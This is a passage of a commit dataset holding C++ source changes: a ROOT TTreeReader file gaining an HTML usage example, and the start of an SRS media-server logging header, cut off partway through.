url_launcher_->LaunchUrl(SimpleResourceLoader::Get(\n IDS_CHROME_FRAME_READY_MODE_LEARN_MORE_URL));\n return 0;\n}\n\nvoid ReadyPromptWindow::OnFinalMessage(HWND) {\n delete this;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/treeplayer:$Id$\n\/\/ Author: Axel Naumann, 2011-09-21\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers and al. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TTreeReader.h\"\n\n#include \"TChain.h\"\n#include \"TDirectory.h\"\n#include \"TTreeReaderValue.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/*BEGIN_HTML\n TTreeReader is a simple, robust and fast interface to read values from a TTree,\n TChain or TNtuple. It uses TTreeReaderValue<T> and\n TTreeReaderArray<T> to access the data. Example code can be found in\n tutorial\/tree\/hsimpleReader.C and tutorial\/tree\/h1analysisTreeReader.h.\n Roottest contains an\n <a href=\"http:\/\/root.cern.ch\/gitweb?p=roottest.git;a=tree;f=root\/tree\/reader;hb=HEAD\">example<\/a>\n showing the full power.\n Usually it is as simple as this:\n END_HTML\nBEGIN_MACRO(source)\n..\/..\/..\/tutorials\/tree\/hsimpleReader.C\nEND_MACRO *\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nClassImp(TTreeReader)\n\n\/\/______________________________________________________________________________\nTTreeReader::TTreeReader(TTree* tree):\n fTree(tree),\n fDirectory(0),\n fEntryStatus(kEntryNotLoaded),\n fDirector(0)\n{\n \/\/ Access data from tree.\n Initialize();\n}\n\n\/\/______________________________________________________________________________\nTTreeReader::TTreeReader(const char* keyname, TDirectory* dir \/*= NULL*\/):\n fTree(0),\n fDirectory(dir),\n fEntryStatus(kEntryNotLoaded),\n fDirector(0)\n{\n \/\/ Access data from the tree called keyname in the directory (e.g. TFile)\n \/\/ dir, or the current directory if dir is NULL. If keyname cannot be\n \/\/ found, or if it is not a TTree, IsZombie() will return true.\n if (!fDirectory) fDirectory = gDirectory;\n fDirectory->GetObject(keyname, fTree);\n Initialize();\n}\n\n\/\/______________________________________________________________________________\nTTreeReader::~TTreeReader()\n{\n \/\/ Tell all value readers that the tree reader does not exist anymore.\n for (std::deque<ROOT::TTreeReaderValueBase*>::const_iterator\n i = fValues.begin(), e = fValues.end(); i != e; ++i) {\n (*i)->MarkTreeReaderUnavailable();\n }\n delete fDirector;\n fProxies.SetOwner();\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::Initialize()\n{\n \/\/ Initialization of the director.\n if (!fTree) {\n MakeZombie();\n fEntryStatus = kEntryNoTree;\n } else {\n fDirector = new ROOT::TBranchProxyDirector(fTree, -1);\n }\n}\n\n\/\/______________________________________________________________________________\nLong64_t TTreeReader::GetCurrentEntry() const {\n \/\/Returns the index of the current entry being read\n\n if (!fDirector) return 0;\n Long64_t currentTreeEntry = fDirector->GetReadEntry();\n if (fTree->IsA() == TChain::Class() && currentTreeEntry >= 0) {\n return ((TChain*)fTree)->GetChainEntryNumber(currentTreeEntry);\n }\n return currentTreeEntry;\n}\n\n\/\/______________________________________________________________________________\nTTreeReader::EEntryStatus TTreeReader::SetEntryBase(Long64_t entry, Bool_t local)\n{\n \/\/ Load an entry into the tree, return the status of the read.\n \/\/ For chains, entry is the global (i.e. not tree-local) entry number.\n\n if (!fTree) {\n fEntryStatus = kEntryNoTree;\n return fEntryStatus;\n }\n\n TTree* prevTree = fDirector->GetTree();\n\n int loadResult;\n if (!local){\n Int_t treeNumInChain = fTree->GetTreeNumber();\n\n loadResult = fTree->LoadTree(entry);\n\n if (loadResult == -2) {\n fEntryStatus = kEntryNotFound;\n return fEntryStatus;\n }\n\n Int_t currentTreeNumInChain = fTree->GetTreeNumber();\n if (treeNumInChain != currentTreeNumInChain) {\n fDirector->SetTree(fTree->GetTree());\n }\n }\n else {\n loadResult = entry;\n }\n if (!prevTree || fDirector->GetReadEntry() == -1) {\n \/\/ Tell readers we now have a tree\n for (std::deque<ROOT::TTreeReaderValueBase*>::const_iterator\n i = fValues.begin(); i != fValues.end(); ++i) { \/\/ Iterator end changes when parameterized arrays are read\n (*i)->CreateProxy();\n\n if (!(*i)->GetProxy()){\n fEntryStatus = kEntryDictionaryError;\n return fEntryStatus;\n }\n }\n }\n fDirector->SetReadEntry(loadResult);\n fEntryStatus = kEntryValid;\n return fEntryStatus;\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::SetTree(TTree* tree)\n{\n \/\/ Set (or update) the which tree to reader from. tree can be\n \/\/ a TTree or a TChain.\n fTree = tree;\n if (fTree) {\n ResetBit(kZombie);\n if (fTree->InheritsFrom(TChain::Class())) {\n SetBit(kBitIsChain);\n }\n }\n\n if (!fDirector) {\n Initialize();\n }\n else {\n fDirector->SetTree(fTree);\n fDirector->SetReadEntry(-1);\n }\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::RegisterValueReader(ROOT::TTreeReaderValueBase* reader)\n{\n \/\/ Add a value reader for this tree.\n fValues.push_back(reader);\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::DeregisterValueReader(ROOT::TTreeReaderValueBase* reader)\n{\n \/\/ Remove a value reader for this tree.\n std::deque<ROOT::TTreeReaderValueBase*>::iterator iReader\n = std::find(fValues.begin(), fValues.end(), reader);\n if (iReader == fValues.end()) {\n Error(\"DeregisterValueReader\", \"Cannot find reader of type %s for branch %s\", reader->GetDerivedTypeName(), reader->fBranchName.Data());\n return;\n }\n fValues.erase(iReader);\n}\n<commit_msg>Improve documentation of TTreeReader.<commit_after>\/\/ @(#)root\/treeplayer:$Id$\n\/\/ Author: Axel Naumann, 2011-09-21\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers and al. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TTreeReader.h\"\n\n#include \"TChain.h\"\n#include \"TDirectory.h\"\n#include \"TTreeReaderValue.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/*BEGIN_HTML\n TTreeReader is a simple, robust and fast interface to read values from a TTree,\n TChain or TNtuple. It uses TTreeReaderValue<T> and\n TTreeReaderArray<T> to access the data. Example code can be found in\n tutorials\/tree\/hsimpleReader.C and tutorials\/trees\/h1analysisTreeReader.h and\n tutorials\/trees\/h1analysisTreeReader.C for a TSelector.\n Roottest contains an\n <a href=\"http:\/\/root.cern.ch\/gitweb?p=roottest.git;a=tree;f=root\/tree\/reader;hb=HEAD\">example<\/a>\n showing the full power.\n Usually it is as simple as this:\n<div class=\"code\">\n<table><tr><td>\n<pre class=\"_listing\">\n<span class=\"cpp\">#include <<a href=\"TFile.h\">TFile.h<\/a>><\/span>\n<span class=\"cpp\">#include <<a href=\"TTreeReader.h\">TTreeReader.h<\/a>><\/span>\n<span class=\"cpp\">#include <<a href=\"TTreeReaderValue.h\">TTreeReaderValue.h<\/a>><\/span>\n<span class=\"cpp\">#include <<a href=\"TTreeReaderArray.h\">TTreeReaderArray.h<\/a>><\/span>\n \n<span class=\"cpp\">#include \"TriggerInfo.h\"<\/span>\n<span class=\"cpp\">#include \"Muon.h\"<\/span>\n<span class=\"cpp\">#include \"Tau.h\"<\/span>\n \n<span class=\"cpp\">#include <vector><\/span>\n<span class=\"cpp\">#include <iostream><\/span>\n \n<span class=\"keyword\">bool<\/span> CheckValue(<a href=\"ROOT__TTreeReaderValueBase.html\">ROOT::TTreeReaderValueBase<\/a>* value) {\n <span class=\"keyword\">if<\/span> (value->GetSetupStatus() < 0) {\n std::cerr << <span class=\"string\">\"Error \"<\/span> << value->GetSetupStatus()\n << <span class=\"string\">\"setting up reader for \"<\/span> << value->GetBranchName() << '\\n';\n <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n }\n <span class=\"keyword\">return<\/span> <span class=\"keyword\">true<\/span>;\n}\n \n \n<span class=\"comment\">\/\/ Analyze the tree <span class=\"string\">\"MyTree\"<\/span> in the file passed into the function.<\/span>\n<span class=\"comment\">\/\/ Returns false in case of errors.<\/span>\n<span class=\"keyword\">bool<\/span> analyze(<a href=\"TFile.html\">TFile<\/a>* file) {\n <span class=\"comment\">\/\/ Create a <a href=\"TTreeReader.html\">TTreeReader<\/a> named <span class=\"string\">\"MyTree\"<\/span> from the given <a href=\"TDirectory.html\">TDirectory<\/a>.<\/span>\n <span class=\"comment\">\/\/ The <a href=\"TTreeReader.html\">TTreeReader<\/a> gives access to the <a href=\"TTree.html\">TTree<\/a> to the TTreeReaderValue and<\/span>\n <span class=\"comment\">\/\/ TTreeReaderArray objects. It knows the current entry number and knows<\/span>\n <span class=\"comment\">\/\/ how to iterate through the <a href=\"TTree.html\">TTree<\/a>.<\/span>\n <a href=\"TTreeReader.html\">TTreeReader<\/a> reader(<span class=\"string\">\"MyTree\"<\/span>, file);\n \n <span class=\"comment\">\/\/ <a href=\"TObject.html#TObject:Read\" title=\"Int_t TObject::Read(const char* name)\">Read<\/a> a single <a href=\"ListOfTypes.html#float\">float<\/a> value in each tree entries:<\/span>\n TTreeReaderValue<<span class=\"keyword\">float<\/span>> weight(reader, <span class=\"string\">\"event.weight\"<\/span>);\n <span class=\"keyword\">if<\/span> (!CheckValue(weight)) <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n \n <span class=\"comment\">\/\/ <a href=\"TObject.html#TObject:Read\" title=\"Int_t TObject::Read(const char* name)\">Read<\/a> a TriggerInfo object from the tree entries:<\/span>\n TTreeReaderValue<TriggerInfo> triggerInfo(reader, <span class=\"string\">\"triggerInfo\"<\/span>);\n <span class=\"keyword\">if<\/span> (!CheckValue(triggerInfo)) <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n \n <span class=\"comment\">\/\/ <a href=\"TObject.html#TObject:Read\" title=\"Int_t TObject::Read(const char* name)\">Read<\/a> a vector of Muon objects from the tree entries:<\/span>\n TTreeReaderValue<std::vector<Muon>> muons(reader, <span class=\"string\">\"muons\"<\/span>);\n <span class=\"keyword\">if<\/span> (!CheckValue(muons)) <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n \n <span class=\"comment\">\/\/ <a href=\"TObject.html#TObject:Read\" title=\"Int_t TObject::Read(const char* name)\">Read<\/a> the pT for all jets in the tree entry:<\/span>\n TTreeReaderArray<<span class=\"keyword\">double<\/span>> jetPt(reader, <span class=\"string\">\"jets.pT\"<\/span>);\n <span class=\"keyword\">if<\/span> (!CheckValue(jetPt)) <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n \n <span class=\"comment\">\/\/ <a href=\"TObject.html#TObject:Read\" title=\"Int_t TObject::Read(const char* name)\">Read<\/a> the taus in the tree entry:<\/span>\n TTreeReaderArray<Tau> taus(reader, <span class=\"string\">\"taus\"<\/span>);\n <span class=\"keyword\">if<\/span> (!CheckValue(taus)) <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n \n \n <span class=\"comment\">\/\/ Now iterate through the <a href=\"TTree.html\">TTree<\/a> entries and fill a histogram.<\/span>\n \n <a href=\"TH1.html\">TH1<\/a>* hist = <span class=\"keyword\">new<\/span> <a href=\"TH1F.html\">TH1F<\/a>(<span class=\"string\">\"hist\"<\/span>, <span class=\"string\">\"TTreeReader example histogram\"<\/span>, 10, 0., 100.);\n \n <span class=\"keyword\">while<\/span> (reader.Next()) {\n \n <span class=\"keyword\">if<\/span> (reader.GetEntryStatus() == <a href=\"TTreeReader.html#TTreeReader:kEntryValid\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryValid\">kEntryValid<\/a>) {\n std::cout << <span class=\"string\">\"Loaded entry \"<\/span> << reader.GetCurrentEntry() << '\\n';\n } <span class=\"keyword\">else<\/span> {\n <span class=\"keyword\">switch<\/span> (reader.GetEntryStatus()) {\n <a href=\"TTreeReader.html#TTreeReader:kEntryValid\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryValid\">kEntryValid<\/a>:\n <span class=\"comment\">\/\/ Handled above.<\/span>\n <span class=\"keyword\">break<\/span>;\n <a href=\"TTreeReader.html#TTreeReader:kEntryNotLoaded\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryNotLoaded\">kEntryNotLoaded<\/a>:\n std::cerr << <span class=\"string\">\"Error: TTreeReader has not loaded any data yet!\\n\"<\/span>;\n <span class=\"keyword\">break<\/span>;\n <a href=\"TTreeReader.html#TTreeReader:kEntryNoTree\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryNoTree\">kEntryNoTree<\/a>:\n std::cerr << <span class=\"string\">\"Error: TTreeReader cannot find a tree names \\\"MyTree\\\"!\\n\"<\/span>;\n <span class=\"keyword\">break<\/span>;\n <a href=\"TTreeReader.html#TTreeReader:kEntryNotFound\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryNotFound\">kEntryNotFound<\/a>:\n <span class=\"comment\">\/\/ Can't really happen as <a href=\"TTreeReader.html\">TTreeReader<\/a>::<a href=\"TTreeReader.html#TTreeReader:Next\" title=\"Bool_t TTreeReader::Next()\">Next<\/a>() knows when to stop.<\/span>\n std::cerr << <span class=\"string\">\"Error: The entry number doe not exist\\n\"<\/span>;\n <span class=\"keyword\">break<\/span>;\n <a href=\"TTreeReader.html#TTreeReader:kEntryChainSetupError\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryChainSetupError\">kEntryChainSetupError<\/a>:\n std::cerr << <span class=\"string\">\"Error: TTreeReader cannot access a chain element, e.g. file without the tree\\n\"<\/span>;\n <span class=\"keyword\">break<\/span>;\n <a href=\"TTreeReader.html#TTreeReader:kEntryChainFileError\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryChainFileError\">kEntryChainFileError<\/a>:\n std::cerr << <span class=\"string\">\"Error: TTreeReader cannot open a chain element, e.g. missing file\\n\"<\/span>;\n <span class=\"keyword\">break<\/span>;\n <a href=\"TTreeReader.html#TTreeReader:kEntryDictionaryError\" title=\"TTreeReader::EEntryStatus TTreeReader::kEntryDictionaryError\">kEntryDictionaryError<\/a>:\n std::cerr << <span class=\"string\">\"Error: TTreeReader cannot find the dictionary for some data\\n\"<\/span>;\n <span class=\"keyword\">break<\/span>;\n }\n <span class=\"keyword\">return<\/span> <span class=\"keyword\">false<\/span>;\n }\n \n <span class=\"comment\">\/\/ Access the TriggerInfo object as if it's a pointer.<\/span>\n <span class=\"keyword\">if<\/span> (!triggerInfo->hasMuonL1())\n <span class=\"keyword\">continue<\/span>;\n \n <span class=\"comment\">\/\/ Ditto for the vector<Muon>.<\/span>\n <span class=\"keyword\">if<\/span> (!muons->size())\n <span class=\"keyword\">continue<\/span>;\n \n <span class=\"comment\">\/\/ Access the jetPt as an array, whether the <a href=\"TTree.html\">TTree<\/a> stores this as<\/span>\n <span class=\"comment\">\/\/ a std::vector, std::list, <a href=\"TClonesArray.html\">TClonesArray<\/a> or Jet* C-style array, with<\/span>\n <span class=\"comment\">\/\/ fixed or variable array size.<\/span>\n <span class=\"keyword\">if<\/span> (jetPt.<a href=\"TCollection.html#TCollection:GetSize\" title=\"Int_t TCollection::GetSize() const\">GetSize<\/a>() < 2 || jetPt[0] < 100)\n <span class=\"keyword\">continue<\/span>;\n \n <span class=\"comment\">\/\/ Access the array of taus.<\/span>\n <span class=\"keyword\">if<\/span> (!taus.<a href=\"TObjArray.html#TObjArray:IsEmpty\" title=\"Bool_t TObjArray::IsEmpty() const\">IsEmpty<\/a>()) {\n <span class=\"keyword\">float<\/span> currentWeight = *weight;\n <span class=\"keyword\">for<\/span> (<span class=\"keyword\">int<\/span> iTau = 0, nTau = taus.<a href=\"TCollection.html#TCollection:GetSize\" title=\"Int_t TCollection::GetSize() const\">GetSize<\/a>(); iTau < nTau; ++iTau) {\n <span class=\"comment\">\/\/ Access a <a href=\"ListOfTypes.html#float\">float<\/a> value - need to dereference as TTreeReaderValue<\/span>\n <span class=\"comment\">\/\/ behaves like an iterator<\/span>\n hist->Fill(taus[iTau].eta(), currentWeight);\n }\n }\n }\n}\n<\/pre><\/td><\/tr><\/table><\/div>\n\n<div class=\"clear\">\n<\/div>\n\n \n\n<p>A simpler analysis example - the one from the tutorials - can be found below, in\nthe Source tab: it histograms a function of the px and py branches:<\/p>\nEND_HTML\n\nBEGIN_MACRO(source)\n..\/..\/..\/tutorials\/tree\/hsimpleReader.C\nEND_MACRO *\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nClassImp(TTreeReader)\n\n\/\/______________________________________________________________________________\nTTreeReader::TTreeReader(TTree* tree):\n fTree(tree),\n fDirectory(0),\n fEntryStatus(kEntryNotLoaded),\n fDirector(0)\n{\n \/\/ Access data from tree.\n Initialize();\n}\n\n\/\/______________________________________________________________________________\nTTreeReader::TTreeReader(const char* keyname, TDirectory* dir \/*= NULL*\/):\n fTree(0),\n fDirectory(dir),\n fEntryStatus(kEntryNotLoaded),\n fDirector(0)\n{\n \/\/ Access data from the tree called keyname in the directory (e.g. TFile)\n \/\/ dir, or the current directory if dir is NULL. If keyname cannot be\n \/\/ found, or if it is not a TTree, IsZombie() will return true.\n if (!fDirectory) fDirectory = gDirectory;\n fDirectory->GetObject(keyname, fTree);\n Initialize();\n}\n\n\/\/______________________________________________________________________________\nTTreeReader::~TTreeReader()\n{\n \/\/ Tell all value readers that the tree reader does not exist anymore.\n for (std::deque<ROOT::TTreeReaderValueBase*>::const_iterator\n i = fValues.begin(), e = fValues.end(); i != e; ++i) {\n (*i)->MarkTreeReaderUnavailable();\n }\n delete fDirector;\n fProxies.SetOwner();\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::Initialize()\n{\n \/\/ Initialization of the director.\n if (!fTree) {\n MakeZombie();\n fEntryStatus = kEntryNoTree;\n } else {\n fDirector = new ROOT::TBranchProxyDirector(fTree, -1);\n }\n}\n\n\/\/______________________________________________________________________________\nLong64_t TTreeReader::GetCurrentEntry() const {\n \/\/Returns the index of the current entry being read\n\n if (!fDirector) return 0;\n Long64_t currentTreeEntry = fDirector->GetReadEntry();\n if (fTree->IsA() == TChain::Class() && currentTreeEntry >= 0) {\n return ((TChain*)fTree)->GetChainEntryNumber(currentTreeEntry);\n }\n return currentTreeEntry;\n}\n\n\/\/______________________________________________________________________________\nTTreeReader::EEntryStatus TTreeReader::SetEntryBase(Long64_t entry, Bool_t local)\n{\n \/\/ Load an entry into the tree, return the status of the read.\n \/\/ For chains, entry is the global (i.e. not tree-local) entry number.\n\n if (!fTree) {\n fEntryStatus = kEntryNoTree;\n return fEntryStatus;\n }\n\n TTree* prevTree = fDirector->GetTree();\n\n int loadResult;\n if (!local){\n Int_t treeNumInChain = fTree->GetTreeNumber();\n\n loadResult = fTree->LoadTree(entry);\n\n if (loadResult == -2) {\n fEntryStatus = kEntryNotFound;\n return fEntryStatus;\n }\n\n Int_t currentTreeNumInChain = fTree->GetTreeNumber();\n if (treeNumInChain != currentTreeNumInChain) {\n fDirector->SetTree(fTree->GetTree());\n }\n }\n else {\n loadResult = entry;\n }\n if (!prevTree || fDirector->GetReadEntry() == -1) {\n \/\/ Tell readers we now have a tree\n for (std::deque<ROOT::TTreeReaderValueBase*>::const_iterator\n i = fValues.begin(); i != fValues.end(); ++i) { \/\/ Iterator end changes when parameterized arrays are read\n (*i)->CreateProxy();\n\n if (!(*i)->GetProxy()){\n fEntryStatus = kEntryDictionaryError;\n return fEntryStatus;\n }\n }\n }\n fDirector->SetReadEntry(loadResult);\n fEntryStatus = kEntryValid;\n return fEntryStatus;\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::SetTree(TTree* tree)\n{\n \/\/ Set (or update) the which tree to reader from. tree can be\n \/\/ a TTree or a TChain.\n fTree = tree;\n if (fTree) {\n ResetBit(kZombie);\n if (fTree->InheritsFrom(TChain::Class())) {\n SetBit(kBitIsChain);\n }\n }\n\n if (!fDirector) {\n Initialize();\n }\n else {\n fDirector->SetTree(fTree);\n fDirector->SetReadEntry(-1);\n }\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::RegisterValueReader(ROOT::TTreeReaderValueBase* reader)\n{\n \/\/ Add a value reader for this tree.\n fValues.push_back(reader);\n}\n\n\/\/______________________________________________________________________________\nvoid TTreeReader::DeregisterValueReader(ROOT::TTreeReaderValueBase* reader)\n{\n \/\/ Remove a value reader for this tree.\n std::deque<ROOT::TTreeReaderValueBase*>::iterator iReader\n = std::find(fValues.begin(), fValues.end(), reader);\n if (iReader == fValues.end()) {\n Error(\"DeregisterValueReader\", \"Cannot find reader of type %s for branch %s\", reader->GetDerivedTypeName(), reader->fBranchName.Data());\n return;\n }\n fValues.erase(iReader);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013-2014 winlin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#ifndef SRS_KERNEL_LOG_HPP\n#define SRS_KERNEL_LOG_HPP\n\n\/*\n#include <srs_kernel_log.hpp>\n*\/\n\n#include <srs_core.hpp>\n\n#include <stdio.h>\n\n#include <errno.h>\n#include <string.h>\n\n#include <srs_kernel_consts.hpp>\n\n\/**\n* the log level, for example:\n* if specified Debug level, all level messages will be logged.\n* if specified Warn level, only Warn\/Error\/Fatal level messages will be logged.\n*\/\nclass SrsLogLevel\n{\npublic:\n \/\/ only used for very verbose debug, generally, \n \/\/ we compile without this level for high performance.\n static const int Verbose = 0x01;\n static const int Info = 0x02;\n static const int Trace = 0x03;\n static const int Warn = 0x04;\n static const int Error = 0x05;\n};\n\n\/**\n* the log interface provides method to write log.\n* but we provides some macro, which enable us to disable the log when compile.\n* @see also SmtDebug\/SmtTrace\/SmtWarn\/SmtError which is corresponding to Debug\/Trace\/Warn\/Fatal.\n*\/ \nclass ISrsLog\n{\npublic:\n ISrsLog();\n virtual ~ISrsLog();\npublic:\n \/**\n * initialize log utilities.\n *\/\n virtual int initialize();\npublic:\n \/**\n * log for verbose, very verbose information.\n *\/\n virtual void verbose(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for debug, detail information.\n *\/\n virtual void info(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for trace, important information.\n *\/\n virtual void trace(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for warn, warn is something should take attention, but not a error.\n *\/\n virtual void warn(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for error, something error occur, do something about the error, ie. close the connection,\n * but we will donot abort the program.\n *\/\n virtual void error(const char* tag, int context_id, const char* fmt, ...);\n};\n\n\/\/ the context for multiple clients.\nclass ISrsThreadContext\n{\npublic:\n ISrsThreadContext();\n virtual ~ISrsThreadContext();\npublic:\n virtual void generate_id();\n virtual int get_id();\n};\n\n\/\/ user must provides a log object\nextern ISrsLog* _srs_log;\n\n\/\/ user must implements the LogContext and define a global instance.\nextern ISrsThreadContext* _srs_context;\n\n\/\/ donot print method\n#if 1\n #define srs_verbose(msg, ...) _srs_log->verbose(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_info(msg, ...) _srs_log->info(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_trace(msg, ...) _srs_log->trace(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_warn(msg, ...) _srs_log->warn(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_error(msg, ...) _srs_log->error(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n\/\/ use __FUNCTION__ to print c method\n#elif 0\n #define srs_verbose(msg, ...) _srs_log->verbose(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_info(msg, ...) _srs_log->info(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_trace(msg, ...) _srs_log->trace(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_warn(msg, ...) _srs_log->warn(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_error(msg, ...) _srs_log->error(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n\/\/ use __PRETTY_FUNCTION__ to print c++ class:method\n#else\n #define srs_verbose(msg, ...) _srs_log->verbose(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_info(msg, ...) _srs_log->info(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_trace(msg, ...) _srs_log->trace(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_warn(msg, ...) _srs_log->warn(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_error(msg, ...) _srs_log->error(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n#endif\n\n#if 0\n #undef srs_verbose\n #define srs_verbose(msg, ...) (void)0\n#endif\n#if 0\n #undef srs_info\n #define srs_info(msg, ...) (void)0\n#endif\n#if 0\n #undef srs_trace\n #define srs_trace(msg, ...) (void)0\n#endif\n\n#endif\n<commit_msg>add todo fixme for log verbose and info<commit_after>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013-2014 winlin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#ifndef SRS_KERNEL_LOG_HPP\n#define SRS_KERNEL_LOG_HPP\n\n\/*\n#include <srs_kernel_log.hpp>\n*\/\n\n#include <srs_core.hpp>\n\n#include <stdio.h>\n\n#include <errno.h>\n#include <string.h>\n\n#include <srs_kernel_consts.hpp>\n\n\/**\n* the log level, for example:\n* if specified Debug level, all level messages will be logged.\n* if specified Warn level, only Warn\/Error\/Fatal level messages will be logged.\n*\/\nclass SrsLogLevel\n{\npublic:\n \/\/ only used for very verbose debug, generally, \n \/\/ we compile without this level for high performance.\n static const int Verbose = 0x01;\n static const int Info = 0x02;\n static const int Trace = 0x03;\n static const int Warn = 0x04;\n static const int Error = 0x05;\n};\n\n\/**\n* the log interface provides method to write log.\n* but we provides some macro, which enable us to disable the log when compile.\n* @see also SmtDebug\/SmtTrace\/SmtWarn\/SmtError which is corresponding to Debug\/Trace\/Warn\/Fatal.\n*\/ \nclass ISrsLog\n{\npublic:\n ISrsLog();\n virtual ~ISrsLog();\npublic:\n \/**\n * initialize log utilities.\n *\/\n virtual int initialize();\npublic:\n \/**\n * log for verbose, very verbose information.\n *\/\n virtual void verbose(const char* tag, int context_id, const char* fmt, ...);\n 